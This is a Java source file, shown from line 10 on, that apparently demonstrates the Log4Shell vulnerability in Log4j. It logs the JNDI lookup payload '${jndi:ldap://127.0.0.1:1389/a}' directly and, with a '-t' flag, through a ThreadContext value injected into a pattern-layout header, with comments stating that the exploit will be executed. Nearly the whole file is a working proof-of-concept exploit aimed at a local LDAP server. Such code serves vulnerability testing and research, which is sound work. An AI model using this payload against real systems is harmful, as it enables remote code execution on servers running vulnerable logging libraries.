| 10 | import org.apache.logging.log4j.core.config.builder.impl.BuiltConfiguration; |
| 11 | |
| 12 | public class Log4j { |
| 13 | |
| 14 | public static void configureLoggerWithThreadContext() { |
| 15 | ConfigurationBuilder<BuiltConfiguration> builder = ConfigurationBuilderFactory.newConfigurationBuilder(); |
| 16 | builder.setStatusLevel(Level.ERROR); |
| 17 | |
| 18 | AppenderComponentBuilder appenderBuilder = builder.newAppender("Stdout", "CONSOLE").addAttribute("target", ConsoleAppender.Target.SYSTEM_OUT); |
| 19 | appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern", "${ctx:header} %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m\n")); |
| 20 | |
| 21 | builder.add(appenderBuilder); |
| 22 | builder.add(builder.newLogger("org.apache.logging.log4j", Level.DEBUG).add(builder.newAppenderRef("Stdout")).addAttribute("additivity", false)); |
| 23 | builder.add(builder.newRootLogger(Level.ERROR).add(builder.newAppenderRef("Stdout"))); |
| 24 | Configurator.initialize(builder.build()); |
| 25 | } |
| 26 | |
| 27 | public static void main(String[] args) { |
| 28 | boolean useThreadLocalAttack = false; |
| 29 | for (int i = 0; i < args.length ; ++i) { |
| 30 | if (args[i].equalsIgnoreCase("-t")) { |
| 31 | System.out.println("Will use ThreadContext as attack vector"); |
| 32 | useThreadLocalAttack = true; |
| 33 | } |
| 34 | } |
| 35 | if (useThreadLocalAttack) { |
| 36 | configureLoggerWithThreadContext(); |
| 37 | Logger logger = LogManager.getLogger(); |
| 38 | ThreadContext.put("header", "${jndi:ldap://127.0.0.1:1389/a}"); |
| 39 | logger.error("Vulnerable through thread context - 1"); |
| 40 | logger.error("Vulnerable through thread context - 2"); |
| 41 | } else { |
| 42 | Logger logger = LogManager.getLogger(); |
| 43 | // exploit will be executed |
| 44 | logger.error("${jndi:ldap://127.0.0.1:1389/a}"); |
| 45 | // no more exploits will be executed from here TBD - try with another file |
| 46 | logger.error("${jndi:ldap://127.0.0.1:1389/a}"); |
| 47 | } |
| 48 | } |
| 49 | } |
nothing calls this directly
no outgoing calls
no test coverage detected